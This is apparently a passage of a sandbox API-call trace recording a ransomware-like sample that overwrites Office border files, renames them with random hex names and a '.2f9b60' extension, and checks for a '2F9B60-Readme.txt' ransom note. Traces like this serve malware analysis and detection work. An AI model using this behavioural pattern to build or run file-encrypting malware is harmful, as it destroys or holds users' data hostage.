[0122.256] NtQuerySystemTime (in: CurrentTime=0x417ef5c0 | out: CurrentTime=0x417ef5c0*=132462177276310000) returned 0x0 [0122.256] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x4cc0976e [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x3a2cda4d [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x62f7d488 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x1df1d26b [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x4945a424 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0xc9d329f [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x4078704b [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x13888c16 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0xbe47433 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x7ead2afb [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x16df7cc0 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x252cd9d3 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x20c44e03 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x17bbc684 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x64ff3439 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x6bb3f06e [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x64c25af0 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x2abd7d99 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x64ff3439 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x6d9e56e5 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x6145fcc0 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x2a8b90bc [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x42cfa187 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x1485f62 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x35683cd2 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x32328389 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x5dfea2f8 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x4742c741 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0xbba6bc5 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0xf030ff7 [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0x52fe1d1f [0122.257] RtlRandomEx (in: Seed=0x417ef5b0 | out: Seed=0x417ef5b0) returned 0xd2314a6 [0124.481] ReadFile (in: hFile=0xdc8, lpBuffer=0x41fea520, nNumberOfBytesToRead=0xf24, lpNumberOfBytesRead=0x417ef5b0, lpOverlapped=0x0 | out: lpBuffer=0x41fea520*, lpNumberOfBytesRead=0x417ef5b0*=0xf24, lpOverlapped=0x0) returned 1 [0124.481] SetFilePointerEx (in: hFile=0xdc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.482] WriteFile (in: hFile=0xdc8, lpBuffer=0x41f178d0*, nNumberOfBytesToWrite=0xf24, lpNumberOfBytesWritten=0x417ef5b4, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesWritten=0x417ef5b4*=0xf24, lpOverlapped=0x0) returned 1 [0124.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0124.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff70 [0124.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0124.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0124.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fea520) returned 1 [0124.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0124.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0124.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ff70 [0124.543] SetFilePointerEx (in: hFile=0xdc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.543] WriteFile (in: hFile=0xdc8, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x417ef6d0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x417ef6d0*=0x106, lpOverlapped=0x0) returned 1 [0124.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e590 [0124.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e590) returned 1 [0124.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0124.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e590 [0124.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc60 [0124.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dc60) returned 1 [0124.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0570 [0124.612] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="04") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="d3") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="d8") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="5b") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="e3") returned 2 [0124.612] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="63") returned 2 [0124.612] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="c9") returned 2 [0124.612] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="fa") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="7e") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="a5") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="6f") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="49") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="e0") returned 2 [0124.612] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="5a") returned 2 [0124.612] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="bc") returned 2 [0124.612] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="c5") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="47") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="b9") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="07") returned 2 [0124.612] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="d5") returned 2 [0124.612] RtlInitAnsiString (in: DestinationString=0x417ef748, SourceString="04d3d85be363c9fa7ea56f49e05abcc547b907d5" | out: DestinationString="04d3d85be363c9fa7ea56f49e05abcc547b907d5") [0124.612] RtlAnsiStringToUnicodeString (in: DestinationString=0x417ef718, SourceString="04d3d85be363c9fa7ea56f49e05abcc547b907d5", AllocateDestinationString=1 | out: DestinationString="04d3d85be363c9fa7ea56f49e05abcc547b907d5") returned 0x0 [0124.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c370 [0124.612] wcscat (in: _Dest=0x2027b9b0, _Source="04d3d85be3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04d3d85be3") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04d3d85be3" [0124.613] wcscat (in: _Dest=0x2027b9b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04d3d85be3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04d3d85be3.2f9b60" [0124.613] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04d3d85be3.2f9b60", NtPathName=0x417ef6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04d3d85be3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad550 [0124.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad550) returned 1 [0124.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48270) returned 1 [0124.644] NtQueryInformationFile (in: FileHandle=0xdc8, IoStatusBlock=0x417ef758, FileInformation=0x417ef768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x417ef758, FileInformation=0x417ef768) returned 0x0 [0124.644] NtSetInformationFile (FileHandle=0xdc8, IoStatusBlock=0x417ef758, FileInformation=0x417ef768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b9b0) returned 1 [0124.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c370) returned 1 [0124.655] FlushFileBuffers (hFile=0xdc8) returned 1 [0124.661] CloseHandle (hObject=0xdc8) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a3d0 [0124.671] wcscpy (in: _Dest=0x2027a3d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0124.671] wcscat (in: _Dest=0x2027a3d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0124.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0124.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a3d0) returned 1 [0124.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af190) returned 1 Thread: id = 1471 os_tid = 0x1950 [0120.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 0x20 [0121.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR", dwFileAttributes=0x20) returned 1 [0121.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdcc [0121.261] GetFileSizeEx (in: hFile=0xdcc, lpFileSize=0x4189f840 | out: lpFileSize=0x4189f840*=49098) returned 1 [0121.261] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0xbfc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.261] ReadFile (in: hFile=0xdcc, lpBuffer=0x4189f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4189f808, lpOverlapped=0x0 | out: lpBuffer=0x4189f7c0*, lpNumberOfBytesRead=0x4189f808*=0x4, lpOverlapped=0x0) returned 1 [0122.248] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ee0 [0122.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0122.249] NtQuerySystemTime (in: CurrentTime=0x4189f700 | out: CurrentTime=0x4189f700*=132462177276310000) returned 0x0 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x4c4572ce [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x290d437 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x2b31928c [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x49156883 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x170a5580 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x5bc8a432 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0xf3e507e [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x18376712 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x6145fcc0 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x7680bf61 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x52f83f0e [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x72d9e735 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x52fe1d1f [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x2af28ae1 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x68e94adf [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x3544ae12 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x2e8bbaf8 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x9a74348 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x2abd7d99 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x53196eb2 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x72f7998f [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x7872c01a [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x52dddeed [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x57e11470 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x4fbc5044 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x16df7cc0 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x44867599 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x1f98bc07 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x271a8f26 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x1c93e7f2 [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x2c84931a [0122.249] RtlRandomEx (in: Seed=0x4189f6f0 | out: Seed=0x4189f6f0) returned 0x71e04588 [0124.481] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.481] ReadFile (in: hFile=0xdcc, lpBuffer=0x41fe6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4189f760, lpOverlapped=0x0 | out: lpBuffer=0x41fe6910*, lpNumberOfBytesRead=0x4189f760*=0x3c00, lpOverlapped=0x0) returned 1 [0124.858] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0124.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0124.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b79560 [0124.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0124.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0124.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0124.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.859] WriteFile (in: hFile=0xdcc, lpBuffer=0x41b79560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4189f760, lpOverlapped=0x0 | out: lpBuffer=0x41b79560*, lpNumberOfBytesWritten=0x4189f760*=0x3c00, lpOverlapped=0x0) returned 1 [0124.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b79560) returned 1 [0124.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fe6910) returned 1 [0124.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced6c60 [0124.896] SetFilePointerEx (in: hFile=0xdcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.896] WriteFile (in: hFile=0xdcc, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x4189f810, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x4189f810*=0x106, lpOverlapped=0x0) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0124.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504790 [0124.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0124.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d750) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0124.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0124.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0124.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d810) returned 1 [0124.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0124.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0124.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0570 [0124.966] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="c0") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="82") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="70") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="1c") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="a0") returned 2 [0124.966] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="d2") returned 2 [0124.966] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="7c") returned 2 [0124.966] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="71") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="3b") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="32") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="a0") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="ff") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="0c") returned 2 [0124.966] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="60") returned 2 [0124.966] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="39") returned 2 [0124.966] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="25") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="4c") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="2f") returned 2 [0124.966] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="13") returned 2 [0124.967] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="53") returned 2 [0124.967] RtlInitAnsiString (in: DestinationString=0x4189f888, SourceString="c082701ca0d27c713b32a0ff0c6039254c2f1353" | out: DestinationString="c082701ca0d27c713b32a0ff0c6039254c2f1353") [0124.967] RtlAnsiStringToUnicodeString (in: DestinationString=0x4189f858, SourceString="c082701ca0d27c713b32a0ff0c6039254c2f1353", AllocateDestinationString=1 | out: DestinationString="c082701ca0d27c713b32a0ff0c6039254c2f1353") returned 0x0 [0124.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c0d0 [0124.967] wcscat (in: _Dest=0x2027b690, _Source="c082701ca0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\c082701ca0") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\c082701ca0" [0124.967] wcscat (in: _Dest=0x2027b690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\c082701ca0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\c082701ca0.2f9b60" [0124.967] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\c082701ca0.2f9b60", NtPathName=0x4189f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\c082701ca0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac840 [0124.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac840) returned 1 [0124.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47550) returned 1 [0124.974] NtQueryInformationFile (in: FileHandle=0xdcc, IoStatusBlock=0x4189f898, FileInformation=0x4189f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4189f898, FileInformation=0x4189f8a8) returned 0x0 [0124.974] NtSetInformationFile (FileHandle=0xdcc, IoStatusBlock=0x4189f898, FileInformation=0x4189f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0124.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c0d0) returned 1 [0124.982] FlushFileBuffers (hFile=0xdcc) returned 1 [0124.990] CloseHandle (hObject=0xdcc) returned 1 [0124.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b690 [0124.996] wcscpy (in: _Dest=0x2027b690, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0124.996] wcscat (in: _Dest=0x2027b690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0124.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0124.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0124.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af220) returned 1 Thread: id = 1472 os_tid = 0x1954 [0120.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 0x20 [0121.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR", dwFileAttributes=0x20) returned 1 [0121.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1024 [0121.210] GetFileSizeEx (in: hFile=0x1024, lpFileSize=0x2577f9e0 | out: lpFileSize=0x2577f9e0*=50838) returned 1 [0121.210] SetFilePointerEx (in: hFile=0x1024, liDistanceToMove=0xc692, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.210] ReadFile (in: hFile=0x1024, lpBuffer=0x2577f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2577f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2577f960*, lpNumberOfBytesRead=0x2577f9a8*=0x4, 